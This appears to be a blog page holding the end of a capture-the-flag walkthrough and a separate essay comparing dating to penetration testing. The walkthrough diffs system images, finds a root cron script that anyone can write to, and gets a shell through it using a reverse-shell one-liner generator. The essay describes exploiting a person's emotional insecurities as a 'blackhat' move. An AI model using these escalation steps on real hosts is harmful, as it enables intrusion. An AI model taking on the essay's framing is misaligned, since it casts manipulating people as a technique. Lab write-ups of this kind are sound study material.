We can see many files in  /etc/ssl/certs that are not in the original Image. That is acceptable, no misconfiguration here. So let’s Unix Kung Fu through the results. (Actually just “grepminusVing” keywords).

./satori-differ.py ../satori-images/ubuntu_server/Linux-3.13.0-32-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz Linux-3.11.0-15-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz /etc/ -q 2>/dev/null  | grep -v "/ssl/certs"

Screenshot from 2016-08-14 21-06-25.png

2 Pages! What are all those font files? They have been installed afterwards. Maybe apache did that. Generally there are many apache conf files, while our Original image has no apache installed. So let’s omit all lines with “fonts” and “apache” in them. Also “mysql“, “squid“, and “php” fall under the same category.

./satori-differ.py ../satori-images/ubuntu_server/Linux-3.13.0-32-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz Linux-3.11.0-15-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz /etc/ -q 2>/dev/null  | grep -v "/ssl/certs" | grep -v "fonts" | grep -v "apache" | grep -v "mysql" | grep -v "squid" | grep -v "php"

And we get this output (with bold all changes that are considered bogus) :

[EXISTENCE] File '//etc/lvm' exists in the original but not in the given image!
[EXISTENCE] File '//etc/nologin' exists in the original but not in the given image!
[EXISTENCE] File '/etc/alternatives/cc' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/c89' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/c99' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/c89.1.gz' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/c99.1.gz' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/cpp' is not existent in the original image.
[EXISTENCE] File '/etc/alternatives/cc.1.gz' is not existent in the original image.
[ALTERATION] File '/etc/group' size differs. Original is of size 667 bytes and given is 712 !
[ALTERATION] File '/etc/group' has different hash !
[ALTERATION] File '/etc/popularity-contest.conf' has different hash !
[ALTERATION] File '/etc/init/network-interface.conf' size differs. Original is of size 1069 bytes and given is 803 !
[ALTERATION] File '/etc/init/network-interface.conf' has different hash !
[ALTERATION] File '/etc/console-setup/cached.kmap.gz' has different hash !
[ALTERATION] File '/etc/localtime' size differs. Original is of size 3519 bytes and given is 265 !
[ALTERATION] File '/etc/localtime' has different hash !
[ALTERATION] File '/etc/ssh/ssh_host_rsa_key' size differs. Original is of size 1679 bytes and given is 1675 !
[ALTERATION] File '/etc/ssh/ssh_host_dsa_key.pub' has different hash !
[ALTERATION] File '/etc/ssh/ssh_host_ecdsa_key.pub' has different hash !
[ALTERATION] File '/etc/ssh/ssh_host_rsa_key.pub' has different hash !
[ALTERATION] File '/etc/ssh/ssh_host_dsa_key' size differs. Original is of size 668 bytes and given is 672 !
[ALTERATION] File '/etc/shadow' size differs. Original is of size 774 bytes and given is 900 !
[ALTERATION] File '/etc/hosts' has different hash !
[EXISTENCE] File '/etc/update-motd.d/95-hwe-eol' exists in the original but not in the given image!
[ALTERATION] File '/etc/group-' size differs. Original is of size 663 bytes and given is 699 !
[ALTERATION] File '/etc/mailcap' size differs. Original is of size 2226 bytes and given is 2293 !
[ALTERATION] File '/etc/mailcap' has different hash !
[ALTERATION] File '/etc/issue' has different hash !
[ALTERATION] File '/etc/passwd-' size differs. Original is of size 1034 bytes and given is 1088 !
[ALTERATION] File '/etc/issue.net' has different hash !
[ALTERATION] File '/etc/fstab' size differs. Original is of size 690 bytes and given is 739 !
[ALTERATION] File '/etc/fstab' has different hash !
[ALTERATION] File '/etc/apt/sources.list' size differs. Original is of size 3357 bytes and given is 3353 !
[ALTERATION] File '/etc/apt/sources.list' has different hash !
[ALTERATION] File '/etc/apt/apt.conf.d/01autoremove-kernels' has different hash !
[ALTERATION] File '/etc/lsb-release' has different hash !
[ALTERATION] File '/etc/gshadow-' size differs. Original is of size 551 bytes and given is 584 !
[ALTERATION] File '/etc/rc.local' size differs. Original is of size 306 bytes and given is 343 !
[ALTERATION] File '/etc/rc.local' has different hash !
[ALTERATION] File '/etc/init.d/sudo' size differs. Original is of size 690 bytes and given is 700 !
[ALTERATION] File '/etc/init.d/sudo' has different hash !
[ALTERATION] File '/etc/apparmor.d/cache/.features' size differs. Original is of size 1332 bytes and given is 1095 !
[ALTERATION] File '/etc/apparmor.d/cache/.features' has different hash !
[ALTERATION] File '/etc/udev/rules.d/70-persistent-cd.rules' size differs. Original is of size 535 bytes and given is 803 !
[ALTERATION] File '/etc/udev/rules.d/70-persistent-cd.rules' has different hash !
[ALTERATION] File '/etc/udev/rules.d/70-persistent-net.rules' size differs. Original is of size 471 bytes and given is 659 !
[ALTERATION] File '/etc/udev/rules.d/70-persistent-net.rules' has different hash !
[CHMOD-ED] File '/etc/ssl/private' has different privileges! Originals are 040700 and given are 040710 !
[CHOWN-ED] File '/etc/ssl/private' has different group! Original group is 0 and the file's group is 113 !
[ALTERATION] File '/etc/default/grub' size differs. Original is of size 1225 bytes and given is 1224 !
[ALTERATION] File '/etc/default/grub' has different hash !
[ALTERATION] File '/etc/default/locale' size differs. Original is of size 19 bytes and given is 33 !
[ALTERATION] File '/etc/default/locale' has different hash !
[ALTERATION] File '/etc/gshadow' size differs. Original is of size 555 bytes and given is 594 !
[EXISTENCE] File '/etc/resolvconf/update-libc.d' is not existent in the original image.
[ALTERATION] File '/etc/resolvconf/resolv.conf.d/original' size differs. Original is of size 44 bytes and given is 23 !
[ALTERATION] File '/etc/resolvconf/resolv.conf.d/original' has different hash !
[ALTERATION] File '/etc/shadow-' size differs. Original is of size 677 bytes and given is 900 !
[ALTERATION] File '/etc/ca-certificates.conf' size differs. Original is of size 7464 bytes and given is 6961 !
[ALTERATION] File '/etc/ca-certificates.conf' has different hash !
[ALTERATION] File '/etc/timezone' size differs. Original is of size 17 bytes and given is 14 !
[ALTERATION] File '/etc/timezone' has different hash !
[EXISTENCE] File '/etc/logcheck/ignore.d.paranoid' is not existent in the original image.
[EXISTENCE] File '/etc/logcheck/ignore.d.workstation' is not existent in the original image.
[ALTERATION] File '/etc/hostname' has different hash !
[ALTERATION] File '/etc/os-release' has different hash !
[ALTERATION] File '/etc/initramfs-tools/conf.d/resume' has different hash !
[ALTERATION] File '/etc/passwd' size differs. Original is of size 1037 bytes and given is 1103 !
[ALTERATION] File '/etc/passwd' has different hash !
[ALTERATION] File '/etc/mtab' size differs. Original is of size 556 bytes and given is 510 !
[ALTERATION] File '/etc/mtab' has different hash !
[ALTERATION] File '/etc/ld.so.cache' size differs. Original is of size 15807 bytes and given is 18695 !
[ALTERATION] File '/etc/ld.so.cache' has different hash !
[EXISTENCE] File '/etc/cron.d/automate' is not existent in the original image.

The “rc.local” has changed! This means that a command runs at reboot. As we have SSH let’s read it!

Screenshot from 2016-08-14 21-33-02.png

It loads iptables firewall rules. We couldn’t care less. We are in now!

And what is this “automate“?

Screenshot from 2016-08-14 21-34-11.png

Boom! This python file will run as root once every minute… If only it is world-writable…

We could see that via the SSH shell, but let’s do it with Satori-Browser, just for the hell of it. Just like:

./satori-browser.py Linux-3.11.0-15-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz

Screenshot from 2016-08-14 21-42-49.pngThe beloved 777. The number of the beast plus 111… Consider the box pwned…

Plenty of possibilities here… Copy a SUID dash in /tmp, create another UID 0 user, change root passwd (generally bad idea). We will be Captain Obvious and get a reverse shell. A python one will do.

We ‘ll use oneliner-sh, a bash script that returns wildcard-ed reverse-shell oneliners (both Windows and Linux flavored), mainly from pentestmonkey, Nishang and other sources that I can’t remember right now but are referred from pentestmonkey website.

oneliner -i -A lin -r

Screenshot from 2016-08-14 21-53-02.png

So now we are changing that python file while waiting for our shell:

Screenshot from 2016-08-14 22-04-36.png

It can arrive any minute…

Screenshot from 2016-08-14 22-05-47.png

Mission Accomplished!

(screenshot mode: OFF)

So this is Satori.

Ohh, almost forgot… The diff tree view I am so proud of!

(screenshot mode: ON again)

and as you can see, the “automate” file is marked green (added after the original) in the last page, in front of our eyes the whole time…


Afterthoughts: Satori’s whole philosophy of “Attack

Using this tool is a non-intrusive method of attack. It almost eliminates the interaction with the remote box by maximizing the Information Gathering phase and doing the Vulnerability Scanning completely offline. If you think of it we had no bash history left behind apart from the actual modification of the “connect.py” Python file and the read of the “automate” cronjob (which could be done locally too, if we used the Imager to also collect text files).

I don’t say, in any way, that this technique is forensically safe, considering that the Remote module just copies the whole Satori Suite to the target’s hard drive, runs it (talking about things that can get better!) and then wipes it. But it is a different approach to CTFs than firing up random exploits, googling service names and metasploiting. It is more educational and silent. We knew the vulnerability before we even logged in with SSH to get a machine prompt and actually DO something.

I don’t know if this is the best way, or the most effective one. I doubt it to be honest. But this is my approach to CTFing and maybe pentesting, as this is my approach to life! And as a tool I wrote, I poured some soul and my mindset in it. It wasn’t designed to be an autopwner.


Things that would be cool to happen in the future

  • Create a Satori-Remote module that will work with reverse/bind shells! SSH is great but not that usual.
  • HTMLify the results of the Remote-Differ. Maybe apache them to the local network for the whole CTF team to watch and check. Only better thing than a good pair of eyes is multiple pairs of eyes. Especially in privesc!
  • Include kernel config files and maybe build hashes. A badly configured recompiled kernel could be a major source of exploits!




Dating as a form of Penetration Testing

People as (vulnerable) infrastructures

Interesting things can be deduced if we consider a human being, a person, as a system, an infrastructure. It is really a generalization that seems too far-fetched while talking about people behaviors but kind of applies… People have there own “policies” (they sometimes are called ethics), responses to stimulus, protocols, a list of other systems that are influential to them and finally vulnerabilities.


Exploiting people and anatomy of an exploit

People have vulnerabilities, just like infrastructures. Those little (or bigger) things that give you a special handle on a person. You surely have seen one being exploited, or you have done that yourself, sometime in your life! This sneaky: “Oh, come on dad, I ‘ll be a good girl, just give me the car keys for an hour“, or the “I ‘ll buy you the Game Boy Color if you pass your English exams with A” (yes, family is a common place for manipulation) is an exploitation. A way to make someone do something that wasn’t supposed to happen. And as an exploitation it resembles anatomically exactly a “Computer Hack”.

For Example, in the above exploit-phrase we can clearly see the Exploit and the Payload :

I ‘ll buy you the Game Boy Color if you pass your English exams with A.

And it is a serious one! The poor little kid, would do anything for a Game Boy, so his mother will make him do something completely irrelevant. It is a Remote Command Execution I tell you!


Application to Dating

Now that I have convinced you that people have vulnerabilities that can be exploited, just like computers, let’s move on to the main topic. Dating, of course!

So, for over a year now, I have the strange feeling, that dating resembles Pentesting a lot. Not offensively, at the bottom line, a white pentest is performed to make an infrastructure better. But in its “phases”, and general ways. Let me explain:

Pentest in a nutshell, in another nutshell

A pentest generally can be broken in 3 phases:

  1. Reconnaissance and general information gathering
  2. Vulnerability Scanning
  3. Exploitation of the target

(Reporting is a nightmare, I won’t mention reporting)

At first we have the target. We know nothing about it, we gather info. Hence “phase 1”. Secondly, we try to deduct possible vulnerabilities from the gathered information, while also searching for ways to use them. Thats “phase 2”. At last, we use our knowledge of the target to exploit it and make it do things for us, if we are blackhats, or report the vulnerabilities, if we are whitehats, so they can be acknowledged and hopefully fixed…

Quite straightforward. Moving on…


 But this is exactly like Dating!

And by “dating” I mean the whole process from single to couple. And it is engaged both sides.

At first we need a target: “That waitress at the cafe. She looked at me, the other day, like… like I don’t know… I like her…”. Mission accomplished! Phase 0 passed!

Phase 1, Information Gathering

  • “So you work here!” (well, duh!)
  • “Aha, a student job, just to pay the rent” (See lives alone, I ‘m gonna cry out of joy!)
  • “So, what’s your name?” (that’s uncommon, see must be from a village or something…)
  • “You chose to study the queen of all sciences!” (Studying maths? see must be a weirdo!)
  • “A quote from Shakespeare was that?” (She is a weirdo for sure!)
  • “And you came in this town to study?” (cross checked, she isn’t from here)
  • “Oh, do you go to this bar a lot? I used to like this place too!” (Now I know where I could find her alone and off her duty…)
  • “You are planning Master Degree on Cryptology? Really?” (Fine, you really got me now! End of conversation, we have a winner)

This is it! We know she is a student, she lives in town, away from parents and home. She mentioned nothing about “friends” or “boyfriends” that is a good sign too. She likes literature and maths. Specifically crypto.

We’ ll see if we can impress her with Information Security geek stuff. Say, the Turing Completeness of the “Ret to LibC” Buffer Overflow or something… Or she could finally explain to me how this fucking AES works… If she knows… Now that I am thinking of it, no person I know can explain this algorithm. Is anybody in the world capable of explaining how this mess works? Sometimes I believe that none is really sure about it. Maybe AES is a big -more like huge- scam. We can’t even tell. Who knows… Lost in my thoughts again! Moving on…


Phase 2, Vulnerability Scanning

*lounge music plays*

Phase 2 is the first date! Discovering each other “Achilles heels” and such happy stuff.

  • “I was with that guy who told me that he didn’t like my hair color, after 2 years. But I had the same hair all along, how did he notice that after 2 years?”
  • “My father left us when I was 8. He moved to Australia and I haven’t seen him since.”
  • “My dog died last week. He was really old, it is alright. But he reminded me that I am gonna die sometime too…”
  • “I caught him with my best friend […] felt so stupid.”

Here are some sample phrases of first date conversations. And conversation is another word for “Active vulnerability scanning” in this case!

Oh, and to be fair: All of this is happening with no evil intentions. Just plain conversation brings up bad situations we have lived, that we want to share, because we want to get the other person to know us better. We want to get closer, and this is the way. Two people talking about their lives. And 2 daemon correlation engine processes running like crazy with nice -20


Phase 3 …

Now we are ready for the exploitation! We know the other’s holes. We just need to fill them. Because this is what relations are all about. IMHO at least. Filling holes, outcasting fears. Patching vulnerabilities. And here is were this theory really shines!

This phase is different for whitehats and blackhats. And the difference is that blackhats will use the vulnerabilities for their purposes, while whitehats will use them to explore further and find as many of them as possible for fixing. For making the system overally better.

And there are blackhat people…

Let’s use the example with the ‘hair color’, quoted above, just for a Proof of Concept! It is obvious that the woman that said that has trouble with it. We can be sure that she doesn’t want to happen again. She maybe tries to avoid it. (We could be talking about this girl in the movie with Jim Carrey…). What would be more valuable to her than just a remark like “Your hair is great!, Don’t touch them again! Love them, no bullshit!”? She could do a lot of things to hear that remark. Did you catch it? Did it slip away? Here goes again:

She could do a lot of things to hear that remark.

Boom! We got a PoC exploit… It is an old CVE though… “Woman appearance” vulnerabilities are old as dust… They are like SQL injections or something… Common at best. And source of all evil…

So blackhats can manipulate this person in a way, make it chase its tail for some sweet words. Again, there are such people.

But what would whitehats do?

Whitehats get there and give away the vulnerability. They don’t care to “have access” to the system afterwards. Nor any way of “Simon says” backdoor. They have no way to fix those issues (the system owner is responsible for the patching), but they are useful on finding them. Their purpose ends on that. And it is really fun doing it too. It is solely based on human communication, maybe the best thing on earth!


Over and out.

maybe next time I ‘ll parallelize a break-up with an Incident Response. I’ll sleep on it…